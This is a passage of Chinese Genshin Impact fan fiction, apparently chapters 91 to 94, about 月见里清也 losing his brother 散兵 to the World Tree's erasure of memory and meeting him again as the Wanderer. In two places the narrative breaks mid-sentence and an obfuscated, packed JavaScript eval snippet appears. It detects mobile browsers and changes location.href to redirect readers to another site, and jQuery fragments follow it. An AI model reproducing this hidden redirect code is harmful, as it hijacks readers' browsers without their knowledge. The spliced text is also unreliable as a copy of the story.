尤其在面对过去的自己时,散兵对他的那些不必要的愧疚就会成倍增长,即使月见里清也从不觉得散兵对自己有所亏欠。 在这种愧疚的影响下,此时的“阿清”说什么,散兵都会尽力完成。 时间在月见里清也的刻意拖延下飞速流逝,他趁着散兵不注意,已经成功的用刻印之匣复制了散兵的记忆数据。现在只需要等着十二点,将这份数据投放,再利用刻印之匣将散兵带回现代,一切便能尘埃落定。 临近午夜,“阿清”终于不再提出新的要求。散兵认为时机已至,决定将他打晕带走。 他将不省人事的“阿清”安置在远离踏鞴砂的一座镇上,这地方离弥生长月家的医馆不远。 虽然此时的弥生长月还是个孩童,但这并不重要。弥生家的医馆世代在此,倘若命运注定,他们应该能为阿清提供一些庇护。 然而就在散兵决绝转身离去之时,一句轻飘飘的声音从身后响起。 “如果抹杀自己是你解脱的手段,那么为什么要留下我一个呢?” 这话落在散兵耳中,转身离去的脚步猛地一顿,转头愕然地看着阿清。 只见本该昏迷不醒的阿清又重新睁开了双眼,眼神清明,没有半点迷茫的模样。他看着散兵,嘴角缓缓一勾,露出了一个特别“月见里清也”的笑容,“我演的像吗,哥哥?” 月见里清也将“哥哥”二字咬得极重,仿佛站在面前的散兵不是他哥哥,而是什么有着深仇大恨的仇人。 散兵瞳孔骤缩,脸上血色尽褪,“你到底是谁?” “我是你弟弟啊,怎么,你认不出来?”月见里清也依旧笑着,只是眼中没有半分笑意。 话音未落,他手中紧握的刻印之匣骤然爆发出强烈的光芒,纯粹的能量构成锁链,瞬间缠绕上散兵的四肢与躯干。 “省省力气,斯卡拉姆齐,”月见里清也冷声道,“等回去之后,你有的是时间跟我解释。” 此时距离刻印之匣冷却重置已经不足一分钟,月见里清也在心中默数,只要在坚持片刻,他就能将复制的记忆数据投放,然后带着他哥哥回去。 然而就在这时,散兵的身体自边缘开始像是被橡皮擦去一般,逐渐暗淡,化作细碎的光点,开始缓缓消散。 “等等,”月见里清也猛地一抬头,望向散兵,声音由于过于紧绷有些破音,“你又做了什么?!” 散兵低头,看着自己逐渐变得透明的手掌,禁锢着他的能量锁链也开始逐渐断裂消融在空气中。 他抬起头,对上月见里清也那双惊慌失措的眼神,苦笑一声说:“我什么都没做,世界树开始修正了。” 月见里清也咬着牙催动起刻印之匣,想强行通过自己的意识将散兵的意识带回去。 哪怕只剩意识存在,只要还在,他就一定能找到拯救散兵的方法。 看着弟弟近乎失控的模样,散兵忽然轻声道:“清也。” 这一声唤得极轻,却让月见里清也猛地僵住。 “过来。”散兵的声音难得温柔下来,他目光极其平静地看着月见里清也,“我没时间了,听话,过来。” “我宁愿你以后都没好脸色给我,我都不想在这里听你用这种语气跟我讲话。”月见里清也的声音哽在喉中,闭上眼将眼中的热意逼了回去,可再睁眼时,眼内依旧通红一片,“我做的这一切,都是因为你,如果你不在了,我做的这一切又有什么意义?” 他抓着散兵的衣服,几乎是吼了出来,“你总是这样,我说过我不后悔跟着你,你也不欠我什么,你什么时候能听进去!” “一次也好……哪怕能听进去一次呢?” 一滴眼泪从月见里清也眼角滴落,散兵看着他,想伸手拂去那滴泪珠,可他的手掌已经消散,再也无法做到了。 最后,他只能将自己的额头轻轻抵在月见里清也额头上,轻声叹了一句,“好好活着。” 话音落下的瞬间,最后一点相触的触感也彻底消失不见。月光照过空无一物的空气,再也照不见那个熟悉的身影。 与此同时,四百年后的须弥城,散兵和月见里清也的临时住所内,房内静谧无声,只有书页翻动的轻响。 青羽澈翻开了一半厚厚的笔记,前半部分的纸页已经开始泛黄,后半部分却崭新如初,他拿起一支笔,翻开新的一页,在空白处写到: 【小狐狸接住了坠落的月亮,满心欢喜。可是不久后他才发现,自己接住的不过是水中的倒影,轻轻一碰便碎了。】 92.错误的命运 青羽澈落笔写下最后一个字,听着外间传来一阵声响,他无声的勾了勾嘴角,已经猜到结果如何了。 “看来结果并不如意,”青羽澈走到外间,垂眸漠然地看着跌坐在地上的月见里清也,“我早就说过了,命运不可违抗。” 月见里清也没有搭话,他茫然地环顾四周,看到周围陈设才后知后觉的意识到,自己已经回到了四百年后。 他是回来了,可散兵没有。 甚至可以说,自己以后再也见不到哥哥了。 这个认知就像一把刀,狠狠地刺入他的胸膛,明明没有伤口,这股钻心刺骨的疼痛却蔓延全身,痛得他想蜷缩起身体,以此来缓解这份痛苦。 明明他的生存不依赖呼吸,可这一瞬间里,月见里清也就像溺水的人,无比渴求氧气,可他做不到,那些痛苦就像一块巨石一样压着他的胸膛,让他连呼吸都如此困难。 月见里清也徒劳的抓着自己的头发,想迫使自己冷静,然后找到一个办法,一个能挽回一切的办法。 可他做不到,事已至此,他什么都做不了。 “真狼狈啊,月见里清也。”青羽澈走到他面前蹲下身,语气听不出是在嘲弄还是在可怜他,“你曾经向我放狠话的傲气呢?” 月见里清也闻言一愣,好像终于发现屋里还有其他人,手指慢慢松开自己的头发,猛地看向青羽澈。 二人目光对接的一瞬间,一直以来缺失的齿轮终于被拼合上。 月见里清也双目通红,即便如此,他强忍着不让泪水落下来,“降神计划失败不是你的目的,让他抹除自己的存在才是,对吗?” 如果青羽澈的目的仅仅是不让散兵登神,那么又何必教会自己使用核心能量,让自己成为正机之神的能量来源,倘若最后一刻散兵狠下心,现在的局面可就大不相同了。 青羽澈没必要去赌,除非他在乎的根本不是登神。 青羽澈看着他,缓缓笑了一声,“对。” 这一声“对”就像最后一根稻草,彻底压断了月见里清也的理智,水元素瞬间在手上汇聚,凝成一把匕首就朝他刺去。 青羽澈偏头躲开这一击,刀刃擦着兜帽而过,“瞧瞧你现在的样子,可真像一个一败涂地的输家。” “既然输了,是不是就要按照当时约定的?接下来的一切你都要听我的。”青羽澈说。 匕首在月见里清也手上转了一圈,狠狠地掷出去,他反手从流水中抽出长刀,挥出一道浪潮,“我也说过吧,这一切的前提是你不能动斯卡拉姆齐!” 屋内太小施展不开身手,但月见里清也的本意并非与青羽澈缠斗,趁着青羽澈撤身躲开浪潮的间隙,一把拉开一旁地矮柜的抽屉,从里拿出了一件物品,挥刀就要劈下。 看清那东西是什么的青羽澈目光一凛,飞身上去阻拦,但终究慢了一步。 他眼睁睁的看着月见里清也手中的刀重重地劈在银饰上,发出“嗡”地一声,银制的外壳随之裂开,露出里面还在散发着微光的核心断片。 而月见里清也毫不犹豫,第二刀紧随其后。 刀剑独有的争鸣声响起,青羽澈死死架住月见里清也的长刀,脸上那份从容终于消失殆尽,咬牙道:“你要干什么?” “看不出来吗?”月见里清也眉眼一弯,露出一个毫无笑意的笑容,“当然是,杀你啊。” 青羽澈调动元素力震开月见里清也的攻击,他知道单凭武力自己绝无胜过月见里清也的可能,目光触及月见里清也的右肩,“你的伤还没好,胳膊真的不想要了?” “事已至此,你觉得我还会在乎这些?”月见里清也语气极为平静,仿佛在陈述一个无关紧要的事,“斯卡拉姆齐不在了,我也没什么好在乎的了。” 青羽澈吃力的应对着他越来越凶狠的攻击,终于沉声开口:“如果我说他并没有死呢?” 月见里清也动作微微一顿,声音听不出喜怒,“你之前说过,你所做一切都是为了他。” “对,我是说过。”青羽澈并不否认这一点,“我绝不会害他。” 月见里清也嗤笑一声,“但你看看现在,这就是你所说的‘不会害他’?” 二人僵持着,最终青羽澈退了一步,手上的武器化作雷光消散,随后他抬手将自己的兜帽摘下,露出里面绀色长发和缠着绷带的脸。 月见里清也笑容一顿,目光逐渐染上惊疑,他看着青羽澈的手指移向脸上缠绕的绷带,动作极为缓慢,将那最后的遮挡卸下。 绷带滑落的瞬间,月见里清也的呼吸骤然停滞。 在他眼前的,是一张与他几乎一般无二的面容。 然而,那本该完整的左半边脸,却被狰狞可怖的烧伤疤痕彻底占据,与右半边完好无损的清俊样貌形成了惨烈的对比。 青羽澈看着月见里清也,仿佛在透过他看谁一样,苦笑一声说:“我当然不会害他,因为我就是你。” 月见里清也手上长刀一松,化作流水逸散再空气中,下意识后退半步,声音带着难以置信的颤抖,“怎么可能……” “你们其实早有了猜测,只不过不愿承认罢了。”青羽澈说着往前走了一步,拉进与两人之间的距离,“关于我的身份,关于时间的真相,关于循环。” 他说的不错,早在他通过露出面容强行将卡斯珀留在须弥,以及世界树大火和虚空权限,月见里清也和散兵在心里已经隐约有了猜测。只是这些东西太过荒谬,且缺少实证,他们不愿相信罢了。 身为记忆体,青羽澈的记忆就是自己的记忆,同一个时空不可能同时存在两个一模一样的人,那青羽澈的记忆,只能继承于上个轮回的自己。 月见里清也强迫自己保持冷静,他双手冰凉,仿佛全身的血液都被抽走,脸色苍白到吓人。 “我自你的记忆诞生,我可以是你,但我并不认为自己是你。”青羽澈说,“但我同时也继承了你当时的遗愿,那就是让斯卡拉姆齐活下去。至少,我希望你不要质疑我的动机。” “世界树的权能没有你们想象的那么强大,作为地脉的汇集之处,它所拥有的不过是那点‘记忆’上的事。”青羽澈语气中带了点嘲讽,看向月见里清也说,“不妨猜猜,斯卡拉姆齐通过世界树所回到的‘过去’,真的是过去吗?” 月见里清也皱起眉头,沉思片刻后说,“你是想说,我们通过世界树回去的只不过是‘记忆中的踏鞴砂’。” “不错,看来你的理智还在。”青羽澈满意地点了点头,“而他抹除自己的行为,就相当于拿一块橡皮,将自己的存在从世人记忆中擦去,并不是真正的抹杀自己。” “不然为什么空和派蒙找上门时,那位草神却依旧不慌不忙,甚至都没有提供一个补救方案?” 月见里清也闻言眉头皱的更深了,“草神是故意为之?” “谁能揣测智慧之神的想法呢?你不妨明天亲自去问问她。”青羽澈无所谓的笑了笑,随后他收了笑意,“但在那之前,你需要先躲过世界树的修正,刻印之匣呢?” “我不记得刻印之匣还有这种功能。”话虽这么说,月见里清也还是将刻印之匣拿了出来,递到青羽澈手中。 青羽澈低头调试设备,闻言扯了扯嘴角,“那家伙才不会把这种小心思放在明面上讲。” “就如我刚才所说,世界树是一切地脉的汇集之处,所有被地脉所记载的人都会被世界树影响。”青羽澈说,“刻印之匣会暂时弱化你的存在,但并不是完全躲过去,在今晚你仍会接受到一段新的记忆,要记住,你必须从始至终认为这段记忆是虚假的。否则会发生什么不用我多少了吧?” 他说着顿了顿,又补充了一句,“另外,为了你着想,不管你明天什么时候遇见你哥,不管他变成什么样,最好装作不认识他。” “为什么?” “因为,他抹除了自己的存在,斩断了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594698|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己与所有人的联系,”青羽澈打量着月见里清也的神色,最终还是残忍的讲那句话说了出来,“他不记得你了。” 月见里清也闻言短促地笑了一声,感觉又胸口像是被什么东西堵住了,既喘不过气,又咽下不去,或许是今天经历的事太多,他现在连悲伤的力气都没了。 “躲过世界树修正的方法不止这一种吧,”月见里清也说着将方才打斗带倒的椅子扶起来坐下,颇为疲惫地说,“不然你废这么大的劲,就为了让他忘记这一切?” “除了不被地脉记录,还有种记载那些被抹除记忆的方法,那就是将这一切编成童话故事。”青羽澈说,“我说了,这件事不光我一人所为,为什么不等着看看明天会发生什么呢?” 提起童话,月见里清也一怔,“……《絵空事》?” 他想起在很久之前,自己和散兵在离开稻妻途中,从弥生久秋那里看过一本时间循环的童话书。 “看来你已经看过它了,只不过你所看到的内容只是《絵空事》一小部分,我就是其中作者之一。”青羽澈说着顿了顿,在衡量着什么,“按照计划,我应该将它交给你的,只可惜你现在不能观看全部内容,你还不够资格。” 不够资格…… 月见里清也在心中默念着这几个字,自嘲地笑了笑。深深的无力感混杂着巨大的疲惫,如同潮水般再次将他淹没。 他今日经历的太多,失去兄长的痛楚、得知真相的震撼、以及此刻面对自身命运被“自己”亲手安排的荒诞。 他闭上眼,靠在椅背上,将所有翻腾的情绪强行压下。 “我所做的这一切不光是为了斯卡拉姆齐,还有你,月见里清也。”青羽澈突然严肃起来,认真道:“失去的意味,不好受吧?” 月见里清也垂在一旁的双手陡然握紧。 失去的滋味? 何止不好受,他刻意的控制自己暂时不去想有关散兵的一切,好像不去想起,那些撕裂灵魂的痛苦便会消失。 但他没有被青羽澈的话激怒,睁开眼几乎平静的望向青羽澈,“你的目的是为了将命运拉回正轨,可为什么从现在来看,你像是在逼着我去违抗命运?” 青羽澈沉默良久,沉声道:“因为你的命运,斯卡拉姆齐的命运,是错误的,它们偏移了原本的轨道,沿着错误的路线,彼此交错,将你们引入错误的未来。” “我的命运被人为遮盖,是不是你的手笔?”月见里清也追问。 “这就是我在当时,能够找到的唯一的方法。”青羽澈坦然承认,“只有未来尚未确定,才最有可能在绝境中寻找到一条生路。” 月见里清也静静地听完青羽澈说的话,未发一言。 一直以来,他都将占星术士为他留下的预言视若无物,他清楚自己从来都不是什么胸怀天下的圣人,说他自私也好,利己也罢,整个世界在他眼中都比不上斯卡拉姆齐一人重要。 就像他阻拦教令院收割民众梦境,仅仅是只是因为他觉得这些沾着鲜血的能量配不上他的神明,而不是因为他怜悯须弥民众。 对月见里清也来说,只要能在散兵身边,什么样的未来他都可以接受。 可命运从不会偏袒任何一个人,今天的局面,如果他更强一点,更早看清一点,更主动地去掌控命运,而不是随波逐流的话…… 今日之事只是一个开端,以后他又该如何?任凭这一出戏码一次次又在自己眼前上演吗? “真是荒谬……”月见里清也轻声道,“如果你的目的就是为了让我认清自己的命运,那你成功了。” 月见里清也说着缓缓站起身,原本萦绕在他周身的颓唐缓缓消散,他直视着青羽澈,“你就不怕我会干一些你剧本之外的事吗?” “如果你能闯出一个更好的未来……”青羽澈嘴角一勾,他伸手推开一旁的窗户,夜晚的月光正好照进来,落在月见里清也身上,“那我会祝贺你。” 93.倾落伽蓝(其一) 当天晚上,月见里清也久违的做了个梦。 在梦里,他自己一个人在借景之馆中醒来,馆内风景百年如一日,仿佛脱离了时光的掌控。 他不知道自己是谁,叫什么,应该做什么,醒来或者沉睡对他来说并无区别,即便醒着,他也只是呆呆地坐在一处,盯着某处的空气发愣。 渐渐的,一种违和感自月见里清也心中而生。 他总觉得,这里不应该只有自己一人。 这个念头促使他穿过每一处回廊,推开每一扇门,直到他翻遍整个借景之馆,都未曾找到第二个人存在的痕迹。 在后来的一天,有一个人打开了借景之馆的大门,将他带到了一个名为“踏鞴砂”的地方。那里的大家待他极好,耐心的教他常识,教他如何待人接物,引导他认识这个鲜活的世界。 可随着他接触的人越来越多,那份违和感便越发强烈。 他好像弄丢了一个对他而言很重要的人…… 可那人是谁?叫什么?长什么样子? 月见里清也一概不知道,他甚至跑回过借景之馆,接近偏执地将不大的庭院翻了个底朝天,却仍未找到那人的一丝痕迹。 就连丹羽都忍不住劝他,说他太过执着找一个从未存在过的人了,应该多注重现实生活。 是这样吗,那个人真的从未存在过吗? 梦里的月见里清也问自己,可他并不知道答案。 他选择听从丹羽的建议,将那个模糊的身影归为自己的臆想,塞进心底的角落里,再也不提及。就在生活本该步入所谓的“正轨”时,一场意外不期而至。 一群走投无路的野伏众冲进村落,火光与刀光撕破了夜晚的宁静,就在一片混乱之际,有个人影忽然出现在自己面前,他甚至来不及看清那人的面容,后颈便传来一阵钝痛。 在彻底陷入黑暗前,他感觉自己被那人稳稳抱起,迅速带离了那片混乱。 等到月见里清也再次恢复意识时,那人将他安置在远离踏鞴砂的街角,他还未睁开眼,就听到了一句极轻的低语,“好好活着。” 这四个字轻得仿佛是月见里清也的错觉,可就是这一瞬间,他几乎就认定这人就是自己一直苦苦寻找的那个人。 月见里清也想要伸手抓住那人的衣服,可那个身影却直接消散在自己眼前。 从那之后,月见里清也过上了一个人流浪的生活,他走过很多地方,经历过很多事。 可他再也没见过那个人,仿佛那晚上的身影只是他的错觉,是他的幻想。 后来,有个小孩问他:“月见里清也,你为什么要姓‘月见里’呢?是因为家乡能看见很漂亮的月亮吗?” 月见里清也闻言一怔。 ……对啊。 我为什么要叫“月见里”呢? 是因为月亮吗?可踏鞴砂的月亮与其他地方的月亮并无不同。 在自我介绍时,他好像十分顺口的就将“月见里”说出来了,即使自己之前从未遇到一个姓月见里的人。 在这一个瞬间里,他愕然的发现自己根本无法解释为什么要给自己取名“月见里清也”。 那轮月亮为什么一直会在自己的潜意识里,让自己如此念念不忘?它代表着谁,那个从未存在的人吗? 我到底忘了谁?! 这个念头产生的那一刻,月见里清也猛地从梦中惊醒,来不及细想那段记忆是怎么回事,他疯了一般冲向隔壁房间。但在握住把手的一瞬间,冰凉的触感唤回了理智,让他丧失了打开房门的勇气。 差点忘了,散兵昨天冲进世界树抹除自我,虽然只是记忆上的变动,但眼下谁也不知道他在哪里。总之,绝不可能在他自己的房间里。 月见里清也缓缓地将把手松开,背靠着墙往下滑,直到坐在地上,他单手遮住脸,想起自己在梦中苦苦寻找,但又被自己遗忘的身影,突然嗤笑一声。 “真可笑啊,哥哥。”月见里清也哽咽道,“我竟然能把你给忘了。” 没能拦住散兵的绝望与无力,被抛弃的愤怒,以及发现自己彻底遗忘散兵时的恐惧,这些被他压抑一整天的情绪,终于在此刻彻底爆发,百倍反噬到月见里清也身上。 他下意识的想把自己缩起来,死死咬住自己的嘴唇,不让这些情绪透露出一丝一毫。 他维持着这个姿势过了许久,久到窗外阳光驱散了黑暗,月见里清也才将这些翻江倒海的情绪重新压下,缓缓吐出一口气,再次睁眼时,他的眼角还湿润着,但那双堇色眼中已经很恢复了往日的平静。 月见里清也面无表情的用衣袖胡乱抹了一把脸,转头看向屋内的钟表。 现在是早上六点,他昨晚和青羽澈的夜谈凌晨三点才结束,满打满算,他也不过休息了三个小时。可现在他毫无睡意,也没有时间休息了。 月见里清也收回目光,扫过一旁的橱柜,橱柜上还留着昨晚和青羽澈打斗时的刀痕,他看了一会,伸手抚上那处痕迹。 ……果然。 这一切都如青羽澈所说,世界树的修改只是记忆上,不然按照世界树强加给他的新记忆来看,他的生活中只有自己一人,没有理由跟青羽澈打架,也就不会在橱柜上留下刀痕。 他起身走向书房,扯过一张空白的纸,拿起笔,沉思半天才在上面写下第一个词:“借景之馆”。 随后笔尖没有一点停顿,迅速写出“踏鞴砂”和“弥生长月”这两个词。 月见里清也需要理清世界树修改过后的记忆,虽然他知道这些记忆是虚假的,可对特瓦特的世人来说,这些就是真实的历史了。 也因此,他有了一个之前完全不同的人生,换句话说,世界树已经把他的人际关系全部打乱了。 他垂眸看向这三个词,世界树将散兵的存在抹除掉,在踏鞴砂生活的只有自己这一个人偶。那么后续的一切,包括但不限于御影炉心泄露,去鸣神岛求援……这些本该由散兵完成的事,从逻辑上来说只能由自己代替他完成。 可散兵将他带离了踏鞴砂,使他提前开始了流浪的生活。或许散兵的本意是想让他避开博士,但是很显然,有些东西不是想避开就能避开的。 月见里清也在纸上重重写下“愚人众”三个字。 回想起这段被编排的经历,月见里清也几乎要发出一声冷笑。 博士对他所做的那些事,一件不少,只不过从背地里的算计,变成了光明正大地将他抓进第二席的实验室进行“研究”。最终,他在多年前找到了一个机会,从实验室里逃了出去,正好和柯莱逃离愚人众的时间重合,从那之后流浪至今。 “从执行官副官,到今日的实验品。”月见里清也说着没忍住叹了口气,把笔一扔,“我这境遇真是每况愈下。” 也因为他没有加入愚人众,跟卡斯珀的联系也就断了,说不定现在卡斯珀都不认识自己。 月见里清也花了几秒消化完现状,指尖电弧萦绕,将那张写满词语的纸张销毁。 既然世界树的修正只能作用于记忆层面,那么散兵必然还在须弥境内,不可能凭空消失。但即便只搜寻雨林地区,仅凭月见里清也一人也无异于大海捞针。 好在世界树还算有良心,没把他的情报网一块收走。 暗线可以帮助他搜寻须弥城之外的地方,至于须弥城,月见里清也打算自己找。 他简单整理了一下自己,将长发规整的束在脑后,转身推门走入清晨的须弥城。 空气中还带着露水的湿润,路边的商贩们正支起摊位,学者们行色匆匆往教令院走去,一切都与昨日没有什么不同。 然而,还没走出多远,月见里清也的脚步微不可察地一顿。他借着整理衣袖的动作,迅速的用余光向后一瞥。 几个慌乱拐入另一条街上的身影在这熙熙攘攘的人群中显得格外突兀。 起初月见里清也并没将这几个人当回事,只想着把他们甩掉了事,但这几个人明明跟踪技术不怎么样,仅凭着对须弥城街道的熟悉,愣是像一块狗皮膏药一样甩不掉。 甩又甩不掉,在城里又没法动手,惹得月见里清也心里颇为烦躁。 啧,麻烦。 他在心里嘀咕着,当即转变策略,脚下步调不变,动作极为自然地拐上了一条通往须弥城外的路。 他不知道这伙人的目的是什么,但经过世界树修正后,跟自己还有联系的人总共就那么几位,有私人恩怨的恐怕就只剩下那一位了。 左右跟愚人众脱不了干系,月见里清也不想一举一动都在他们的监视之下,只好先下手为强了。 须弥城郊外,一伙愚人众已经接到城中同伴的消息,埋伏在月见里清也的必经之路上。队伍中的火铳兵架起自己的枪,瞄准了远处身着稻妻服饰,留着长发的少年。 “砰——” “哇啊,怎、怎么会有枪声?”远处突然响起的枪声下了派蒙一跳,也打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604993|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断了树下三人的对话。 “听起来距离这里不远。”在她一旁带着斗笠的少年开口提议道,“过去看看?” 这位少年的衣着打扮像一位稻妻的修验者,跟空和派蒙自我介绍时自称为没有姓名的流浪者。 可尽管眼前这位流浪者的性格,还有衣着服饰都与空记忆之中的散兵千差万别,但空知道,他就是昨天冲进世界树修改历史的散兵。 “我们去看看。”空拿定了主意,说着看向流浪者,像是在征求他的意见,“那你……” “我跟你们一起去,”流浪者说。 等到三人顺着声音追过去,却发现几个愚人众正在围攻一位少年,说围攻也不对,从局势来看,更像那位少年单方面压着几个愚人众打。 火铳兵的子弹非但没有命中目标,反而月见里清也周身环绕的水珠挡住,他轻轻一挥手,水珠迅速蒸发,在阳光下折射出虹光。随即以更快的速度沿着来路飞驰而去,将伤害尽数返还。 为了速战速决,月见里清也下手难免重了一些,刀锋掀起数米的浪潮,瞬间将一个愚人众士兵狠狠掀飞。 水雾蔓延间,月见里清也灵巧的躲开手持雷锤的前锋军的重击,就在他的身影即将隐入水雾时,他余光一瞥,看到了匆匆赶来的三人。 当他的目光触及三人中那个青白色身影时,月见里清也一怔,死死地瞪着他。 ……斯卡拉姆齐? 就是这一愣神的功夫,给了愚人众可乘之机,火铳兵催动邪眼,连发数枪,灼热的子弹直冲月见里清也而来。 “小心!”派蒙惊呼道。 然而她话音刚落,余光中人影一闪,流浪者突然从藏身的地方冲了出去,他的下意识地抬起手,一缕微弱紫色电弧在他指尖迸发。 那些电弧撞上炽热的子弹,堪堪将子弹的轨迹炸偏了几分,擦着月见里清也的衣角击入地面,激起一片尘土。 流浪者的突然加入显然令愚人众措手不及,前锋军迅速调转目标,巨大的战锤裹挟着雷元素直冲流浪者而来。 月见里清也猛地回神,见他哥手上并没有任何武器,身形化作水雾消散。与此同时流浪者眼前水线交织,月见里清也闪身而出,一手将对方护在身后,右手挥刀迅速将水线全部斩断,水珠如同利刃般向着眼前的愚人众身上削去。 如同骤雨一样密集的攻击暂时拖住了愚人众的脚步,月见里清也这才回身,目光复杂的看着被自己护住的人。 月见里清也跟散兵共同生活了将近五百年,哪怕对方化成灰,他都能一眼认出来,更别提现在对方只是换了一身衣服。 在他的印象中,除了在稻妻的那段时光里,散兵再也没有穿过白色的衣服,基本上以黑色为主。 他也曾跟多次跟散兵提议,让想让对方多尝试些明亮的颜色,但这些建议总是被散兵嗤之以鼻。 月见里清也从未想过,会以这样的方式,看到身穿青白色衣服,打扮像修验者的斯卡拉姆齐。 “你……为什么要救我?”月见里清也声音里带着几分他自己都未曾察觉的沙哑。 这个问题流浪者自己也说不上来,在意识到眼前这个少年会受伤时,他的身体已经先于意识做出了反应。 在那个一瞬间里,他甚至无意识使用出了一丝从未使用过的元素力。 这一切发生的太快,如果真要流浪者说一个理由,好像在他心里,就是单纯的不想看见眼前的这个人受伤。 “算了,不重要了。”月见里清也看见他眼中的茫然,心中像是被针扎了一下,知道他完全不记得自己了,飞快地转移了话题,“会打架吗?” 他说着转头看向重新集结愚人众,没有再看那张熟悉的脸,压抑住内心的酸楚,脸上是一贯的若无其事。 反正演戏向来是他最拿手的事。 流浪者站在他身后,轻声说了句:“会。” 月见里清也闻言回头冲他笑一下,说:“伸手。” 他的语气自然的像是在招呼老朋友,流浪者不明所以,将右手伸了过去。月见里清也握住他的手掌,流水在二人手掌之间汇集漫延,逐渐勾勒出一把长刀的形状,与月见里清也手里的青璃谭一般无二。 “我就当你是路见不平,拔刀相助。”月见里清也收回手,轻轻弹了一下那把流水化作的长刀,冲流浪者眨了眨眼睛,“你现在掺和进来了,想要脱身也不容易,不如好人做到底,再帮我一个小忙?” 94.倾落伽蓝(其二) 流浪者的视线扫过注月见里清也拿刀的右手,注意到他的手在不自觉的轻颤,皱眉问了一句:“你的手……” “小伤而已,不妨事。”月见里清也轻描淡写地说,用力握紧长刀,他的目光越过流浪者,看向正往这边赶来的空,挑了挑眉,“你朋友也过来了。” 流浪者和空才认识不过几分钟,算不上什么朋友,他闻言本想解释一句,但月见里清也说话音刚落,便如离弦之箭向着愚人众小队冲去,这事也就不了了之。 这些愚人众本来就不够月见里清也一个人打的,更别提现在还加上了流浪者和空,局势更是向着他们这便倾倒。 在战斗的过程中,月见里清也刻意留意过流浪者那边,见对方从始至终都是用精湛的刀术取胜,没有动用过一丝元素力。 这不像他的作风,或者说,不像月见里清也记忆中散兵的作风。 是因为失忆吗,忘了自己身上的力量已经被博士解开? 这帮愚人众小队最后被他们尽数击败,流浪者并不知道月见里清也在方才的战斗中想些什么,他挽了个剑花,将手里的长刀还给月见里清也,“谢谢。” 月见里清也没接,左手轻轻打了个响指,长刀化作一股清澈的流水,在消散前一刻绕过流浪者的手腕,擦着他的指尖而过。 流浪者垂眸搓了搓自己的指尖,流水擦过的触感很轻,但他莫名觉得眼前这个少年有些……不高兴? 他也不知道自己为什么要这么想,下意识转头看着月见里清也,问了句:“你怎么知道我会用长刀?” “情况太紧急,下意识就给你搓了一把刀。”月见里清也随口胡诌着,“毕竟我自己也用的刀。” 这理由比较可信,于是流浪者点了点头,月见里清也则俯下身,从那些愚人众士兵的制服口袋里翻出一个装置,随手扔到地面上,接着狠狠踩碎。 “这算是解决了吧?”派蒙飞上前,心有余悸的问道。 “恰恰相反,”月见里清也说着半蹲下身查看地碎渣,确认里面的核心晶体被毁后才笑了笑,“他们叫增援了。” “这算什么好事啊,你怎么还能笑得出来!” “但装置的定位被我毁了,他们一时半会也找不到这里。”月见里清也指了指着地上的残片说,回头看向他们,“多谢几位的援助,忘了问,几位是?” 派蒙本该担任起了介绍的重任,但她的视线触及月见里清也的样貌时,声音猛地卡住。 “等等!”派蒙目光在月见里清也和流浪者之间看了几个来回,“你们两个怎么长得这么像啊,该不会……” 她说着转头看向空,见空的神色复杂至极,忍不住小声问道:“你不会……也认识他吧?” “认识谁?我吗?”月见里清也带着一点恰到好处的疑惑,装作看不懂他们打哑谜的样子,问道。 “对,你叫月见里清也。”空说完后顿了片刻,才继续对着流浪者说,“他就是我跟你说的,你的弟弟。” 空话音刚落,周围空气仿佛一瞬间凝固了。 流浪者猛地偏头看向月见里清也,刚才战斗情况紧急,他也没有太多注意因为长发少年的样貌。现在仔细看来,月见里清也的容貌的确和自己有些相似,可眉眼走向完全不同。 月见里清也心跳漏了一拍,但面上丝毫不显,坦然的迎着流浪者审视的目光。 “光知道我名字,也说明不了什么吧。”月见里清也缓缓皱起眉,死死地攥紧背在身后的右手,逼着自己冷静,“……我并不认识你们,而且我也没有哥哥。” 空此刻心乱如麻,散兵与月见里清也是愚人众高官,即便他们现在已经叛逃,可在须弥他们是与教令院合作的共犯,加上之前蒙德与稻妻的那些不愉快的经历,空与他们之间应当是势如水火的对立关系。 可偏偏眼前这俩人,一个亲手抹除自己,另一个受世界树修改记忆的影响,现在谁也不记得这些事了,甚至连彼此都不认得。 空看着眼前和平日一般无二,甚至比平时还要温和几分的月见里清也,脑海中又浮现出他昨天刚得知消息时濒临崩溃的偏执模样。 或许是因为自己也在寻找着唯一的血亲,空在心里无声的叹了口气,没法放任不管。 “你的右肩有伤,伤口在前一阵撕裂过,所以你握刀的手会不自觉的颤抖。”空的视线扫过月见里清也右肩,“此外,你和他一样,都是人偶。” 流浪者闻言有些诧异地看向月见里清也背在身后的右手。 “……” 月见里清也一顿,背在身后的右手缓缓松开。 他攥紧右手除了提醒自己保持冷静不要感情用事之外,的确是为了压制住右手有些恼人的轻颤。 见月见里清也默认,空接着说,“眼下情况解释起来十分复杂,我想请二位跟我去一个地方。” “我最大的秘密都被你点破了,”月见里清也说着眯了眯眼,带着点秘密被人戳破的不爽,“看来也没有拒绝的余地了,去哪?” 他并不意外空会点破自己的身份,原本自己并不在意这些事,只是眼下,他还必须装个样子出来。 空回答道:“净善宫。” 对于这个提议流浪者没有什么意见,但在此之前,他还有另一件事要做。 月见里清也与空和派蒙一起,陪着流浪者来到了大巴扎,看着他将几个新鲜的果子递给商人。 说实在的,他自己也没想到,他哥所说的要事是将几个果子交给商贩。 